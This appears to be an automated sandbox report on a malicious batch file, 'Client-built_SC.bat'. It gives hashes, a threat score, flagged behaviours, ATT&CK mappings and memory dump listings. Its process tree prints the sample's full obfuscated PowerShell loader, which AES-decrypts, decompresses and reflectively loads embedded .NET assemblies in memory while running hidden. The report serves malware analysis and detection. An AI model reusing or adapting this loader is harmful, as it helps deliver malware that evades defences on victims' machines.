acc021400a40afad8c401ccac16041658be8c4ab6b3bf0dc8f185abad8e6bf67

General

Target

Client-built_SC.bat
Size

329KB
MD5

5909fb8dae48a1d7b1dda945c63d6b68
SHA1

2edc8fe7b13cb2302a2cd22bcc4053222be45c5a
SHA256

acc021400a40afad8c401ccac16041658be8c4ab6b3bf0dc8f185abad8e6bf67
SHA512

d35c9681def73fa4f8cd2317f6004accc027bf5563175cab98211008a817ea3d4f3bb10382d89b516af4e2adffba7692fe5453ac2d6e1faf37fa8446bbf4ceb9
SSDEEP

6144:2V1dfUak+ChXZBxWdk+PMtO9XYu7VAQmYV878BvtTkpuS+dQc1oDUl:M1RUak+gX3xt+O+XQUQ81l1S/3G

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
1776	Client-built_SC.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1776	Client-built_SC.bat.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1852	powershell.exe
1776	Client-built_SC.bat.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1852	powershell.exe
Token: SeDebugPrivilege	1776	Client-built_SC.bat.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 268 wrote to memory of 1852	268	cmd.exe	29
PID 268 wrote to memory of 1852	268	cmd.exe	29
PID 268 wrote to memory of 1852	268	cmd.exe	29
PID 268 wrote to memory of 1776	268	cmd.exe	30
PID 268 wrote to memory of 1776	268	cmd.exe	30
PID 268 wrote to memory of 1776	268	cmd.exe	30
PID 268 wrote to memory of 1776	268	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Client-built_SC.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w hidden -c #
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1852
- C:\Users\Admin\AppData\Local\Temp\Client-built_SC.bat.exe
  "C:\Users\Admin\AppData\Local\Temp\Client-built_SC.bat.exe" $XemT='ChIcLIaIcLInIcLIgIcLIeEIcLIxIcLItIcLIenIcLIsiIcLIoIcLInIcLI'.Replace('IcLI', '');$jOoA='EnIcLItIcLIryPIcLIoinIcLItIcLI'.Replace('IcLI', '');$LHwM='ReIcLIadLIcLIineIcLIsIcLI'.Replace('IcLI', '');$vFfa='FromIcLIBasIcLIe64IcLIStIcLIrinIcLIgIcLI'.Replace('IcLI', '');$ZytS='TIcLIranIcLIsIcLIforIcLImFiIcLInalIcLIBloIcLIckIcLI'.Replace('IcLI', '');$YSwp='SpIcLIlIcLIiIcLItIcLI'.Replace('IcLI', '');$kmzX='FirIcLIstIcLI'.Replace('IcLI', '');$YmFb='LIcLIoadIcLI'.Replace('IcLI', '');$WGFa='CreIcLIateDIcLIeIcLIcrIcLIyptIcLIorIcLI'.Replace('IcLI', '');$qToE='InIcLIvoIcLIkeIcLI'.Replace('IcLI', '');$XRnC='MaiIcLInMIcLIoduIcLIleIcLI'.Replace('IcLI', '');$nKRs='GetIcLICuIcLIrreIcLInIcLItPIcLIrocIcLIeIcLIssIcLI'.Replace('IcLI', '');function iInEA($iVniK){$YHhcw=[System.Security.Cryptography.Aes]::Create();$YHhcw.Mode=[System.Security.Cryptography.CipherMode]::CBC;$YHhcw.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$YHhcw.Key=[System.Convert]::$vFfa('ezBHy8o5hhGbF6Vy0gPWRLgphuIvhUmLUYA6ELhefEE=');$YHhcw.IV=[System.Convert]::$vFfa('Mh7bAlUO3GrAJuIS5U4iIw==');$jpJUk=$YHhcw.$WGFa();$eCfYr=$jpJUk.$ZytS($iVniK,0,$iVniK.Length);$jpJUk.Dispose();$YHhcw.Dispose();$eCfYr;}function MuHmn($iVniK){$modmt=New-Object System.IO.MemoryStream(,$iVniK);$EidZA=New-Object System.IO.MemoryStream;$ROcje=New-Object System.IO.Compression.GZipStream($modmt,[IO.Compression.CompressionMode]::Decompress);$ROcje.CopyTo($EidZA);$ROcje.Dispose();$modmt.Dispose();$EidZA.Dispose();$EidZA.ToArray();}$bDNkj=[System.Linq.Enumerable]::$kmzX([System.IO.File]::$LHwM([System.IO.Path]::$XemT([System.Diagnostics.Process]::$nKRs().$XRnC.FileName, $null)));$kLvZW=$bDNkj.Substring(3).$YSwp(':');$ykLdT=MuHmn (iInEA ([Convert]::$vFfa($kLvZW[0])));$TsvBT=MuHmn (iInEA ([Convert]::$vFfa($kLvZW[1])));[System.Reflection.Assembly]::$YmFb([byte[]]$TsvBT).$jOoA.$qToE($null,$null);[System.Reflection.Assembly]::$YmFb([byte[]]$ykLdT).$jOoA.$qToE($null,$null);
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1776

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Client-built_SC.bat.exe

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
memory/1776-68-0x0000000002380000-0x00000000023C0000-memory.dmp

Filesize
256KB

Download
memory/1776-69-0x0000000002380000-0x00000000023C0000-memory.dmp

Filesize
256KB

Download
memory/1776-70-0x0000000002380000-0x00000000023C0000-memory.dmp

Filesize
256KB

Download
memory/1852-58-0x0000000002740000-0x00000000027C0000-memory.dmp

Filesize
512KB

Download
memory/1852-59-0x000000001B360000-0x000000001B642000-memory.dmp

Filesize
2.9MB

Download
memory/1852-60-0x0000000001F20000-0x0000000001F28000-memory.dmp

Filesize
32KB

Download
memory/1852-61-0x0000000002740000-0x00000000027C0000-memory.dmp

Filesize
512KB

Download
memory/1852-62-0x000000000274B000-0x0000000002782000-memory.dmp

Filesize
220KB

Download

Analysis

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